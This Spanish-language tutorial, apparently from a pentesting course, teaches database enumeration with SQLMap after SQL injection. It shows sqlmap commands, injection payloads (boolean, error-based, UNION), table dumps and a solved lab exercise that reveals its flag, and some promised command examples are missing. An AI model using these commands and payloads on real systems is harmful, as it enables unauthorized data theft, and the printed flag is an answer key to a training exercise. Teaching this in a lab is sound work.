La enumeración representa la parte central de un ataque de inyección SQL, que se realiza inmediatamente después de la detección y confirmación exitosas de la posibilidad de explotación de la vulnerabilidad SQLi en cuestión. Consiste en la búsqueda y recuperación (es decir, exfiltración) de toda la información disponible de la base de datos vulnerable.
Exfiltración de datos de SQLMap
Para tal fin, SQLMap cuenta con un conjunto predefinido de consultas para todos los DBMS compatibles, donde cada entrada representa el SQL que se debe ejecutar en el destino para recuperar el contenido deseado. Por ejemplo, se pueden ver a continuación los extractos de queries.xml para un DBMS MySQL :
<?xml version="1.0" encoding="UTF-8"?><root> <dbmsvalue="MySQL"><!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html --> <castquery="CAST(%s AS NCHAR)"/> <lengthquery="CHAR_LENGTH(%s)"/> <isnullquery="IFNULL(%s,' ')"/>...SNIP... <bannerquery="VERSION()"/> <current_userquery="CURRENT_USER()"/> <current_dbquery="DATABASE()"/> <hostnamequery="@@HOSTNAME"/> <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
<is_dbaquery="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/> <check_udfquery="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/> <users> <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
</users> ...SNIP...
Por ejemplo, si un usuario desea recuperar el "banner" (switch --banner) para el objetivo basado en MySQL DBMS, se utilizará la consulta VERSION() para tal fin. En caso de recuperación del nombre de usuario actual (switch --current-user), se utilizará la consulta CURRENT_USER().
Otro ejemplo es recuperar todos los nombres de usuario (es decir, etiqueta <users>). Hay dos consultas que se utilizan, según la situación. La consulta marcada como inbandse utiliza en todas las situaciones no ciegas (es decir, consulta UNION y SQLi basada en errores), donde los resultados de la consulta se pueden esperar dentro de la propia respuesta. La consulta marcada como blind, por otro lado, se utiliza para todas las situaciones ciegas, donde los datos se deben recuperar fila por fila, columna por columna y bit por bit.
Enumeración básica de una base de datos
Por lo general, después de detectar con éxito una vulnerabilidad de SQLi, podemos comenzar la enumeración de detalles básicos de la base de datos, como el nombre de host del objetivo vulnerable ( --hostname), el nombre del usuario actual ( --current-user), el nombre de la base de datos actual ( --current-db) o los hashes de contraseñas ( --passwords). SQLMap omitirá la detección de SQLi si se ha identificado anteriormente y comenzará directamente el proceso de enumeración de DBMS.
La enumeración generalmente comienza con la recuperación de la información básica:
Banner de versión de base de datos (switch --banner)
Nombre de usuario actual (switch --current-user)
Nombre de la base de datos actual (switch --current-db)
Comprueba si el usuario actual tiene derechos de DBA (Data Base Admin)
El siguiente comando SQLMap hace todo lo anterior:
afsh4ck@kali$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
___
__H__
___ ___[']_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 13:30:57 /2020-09-17/
[13:30:57] [INFO] resuming back-end DBMS 'mysql'
[13:30:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5134=5134
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 5907 FROM(SELECT COUNT(*),CONCAT(0x7170766b71,(SELECT (ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170766b71,0x7a76726a6442576667644e6b476e577665615168564b7a696a6d4646475159716f784f5647535654,0x7178707671)-- -
---
[13:30:57] [INFO] the back-end DBMS is MySQL
[13:30:57] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3~bpo50+1'
[13:30:58] [INFO] fetching current user
current user: 'root@%'
[13:30:58] [INFO] fetching current database
current database: 'testdb'
[13:30:58] [INFO] testing if current user is DBA
[13:30:58] [INFO] fetching current user
current user is DBA: True
[13:30:58] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com'
[*] ending @ 13:30:58 /2020-09-17/
En el ejemplo anterior, podemos ver que la versión de la base de datos es bastante antigua (MySQL 5.1.41 - desde noviembre de 2009) y el nombre de usuario actual es root, mientras que el nombre de la base de datos actual es testdb.
Nota: El usuario "root" en el contexto de la base de datos en la gran mayoría de los casos no tiene ninguna relación con el usuario "root" del sistema operativo, más allá de la que representa al usuario privilegiado dentro del contexto del DBMS. Esto básicamente significa que el usuario de la base de datos no debería tener ninguna restricción dentro del contexto de la base de datos, mientras que los privilegios del sistema operativo (por ejemplo, escritura del sistema de archivos en una ubicación arbitraria) deberían ser mínimos, al menos en las implementaciones recientes. El mismo principio se aplica para el rol genérico de "DBA".
Enumeración de tablas
En los escenarios más comunes, después de encontrar el nombre de la base de datos actual (es decir, testdb), la recuperación de los nombres de las tablas se realizaría utilizando la opción --tables y especificando el nombre de la base de datos con -D testdb, de la siguiente manera:
afsh4ck@kali$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member |
| data |
| international |
| users |
+---------------+
Después de detectar el nombre de la tabla que nos interesa, podemos recuperar su contenido utilizando la opción --dump y especificando el nombre de la tabla con -T <tabla>, de la siguiente manera:
La salida de la consola muestra que la tabla se vuelca en formato CSV a un archivo local users.csv.
Consejo: Además del CSV predeterminado, podemos especificar el formato de salida con la opción `--dump-format` a HTML o SQLite, para que luego podamos investigar más a fondo la base de datos en un entorno SQLite.
Enumeración de tabla/fila
Cuando trabajamos con tablas grandes con muchas columnas y/o filas, podemos especificar las columnas (por ejemplo, solo columnas name y surname) con la opción -C, de la siguiente manera:
Para limitar las filas en función de sus números ordinales dentro de la tabla, podemos especificar las filas con las opciones --start y --stop(por ejemplo, comenzar desde la segunda hasta la tercera entrada), de la siguiente manera:
Si existe el requisito de recuperar ciertas filas en función de una condición WHERE conocida (por ejemplo name LIKE 'f%', ), podemos usar la opción --where, de la siguiente manera:
En lugar de recuperar el contenido de cada tabla, podemos recuperar todas las tablas dentro de la base de datos de interés omitiendo el uso de la opción -T por completo (por ejemplo --dump -D testdb, ). Con solo usar el modificador --dump sin especificar una tabla con -T, se recuperará todo el contenido de la base de datos actual. En cuanto al modificador --dump-all, se recuperará todo el contenido de todas las bases de datos.
En tales casos, también se recomienda al usuario incluir el modificador --exclude-sysdbs(por ejemplo --dump-all --exclude-sysdbs), que le indicará a SQLMap que omita la recuperación de contenido de las bases de datos del sistema, ya que generalmente es de poco interés para los pentesters.
Ejercicio
Objetivo: 83.136.254.226:52864
¿Cuál es el contenido de la tabla flag1 en la base de datos testdb? (Caso n.° 1)
Para ser más eficiente, intente especificar el nombre de la base de datos y de la tabla para sqlmap.
Enumeración de la base de datos actual
afsh4ck@kali$ sqlmap -u "http://83.136.254.226:52864/case1.php?id=1" --banner --current-user --current-db --is-dba
___
__H__
___ ___[)]_____ ___ ___ {1.8.4#stable}
|_ -| . [(] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:31:37 /2024-08-13/
[19:31:37] [INFO] testing connection to the target URL
[19:31:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:31:37] [INFO] testing if the target URL content is stable
[19:31:37] [INFO] target URL content is stable
[19:31:37] [INFO] testing if GET parameter 'id' is dynamic
[19:31:37] [INFO] GET parameter 'id' appears to be dynamic
[19:31:37] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
<------SNIP------>
[19:32:14] [INFO] the back-end DBMS is MySQL
[19:32:14] [INFO] fetching banner
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.3.23-MariaDB-0+deb10u1'
[19:32:14] [INFO] fetching current user
current user: 'user1@localhost'
[19:32:14] [INFO] fetching current database
current database: 'testdb'
[19:32:14] [INFO] testing if current user is DBA
[19:32:14] [INFO] fetching current user
[19:32:14] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
Enumeración de la tabla flag1
afsh4ck@kali$ sqlmap -u "http://83.136.254.226:52864/case1.php?id=1" --dump -T flag1 -D testdb
___
__H__
___ ___["]_____ ___ ___ {1.8.4#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:35:54 /2024-08-13/
[19:35:55] [INFO] resuming back-end DBMS 'mysql'
[19:35:55] [INFO] testing connection to the target URL
<------SNIP------>
[19:35:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[19:35:55] [INFO] fetching columns for table 'flag1' in database 'testdb'
[19:35:55] [WARNING] potential permission problems detected ('command denied')
[19:35:55] [INFO] fetching entries for table 'flag1' in database 'testdb'
Database: testdb
Table: flag1
[1 entry]
+----+-----------------------------------------------------+
| id | content |
+----+-----------------------------------------------------+
| 1 | HTB{c0n6r475_y0u_kn0w_h0w_70_run_b451c_5qlmp_5c4n} |
+----+-----------------------------------------------------+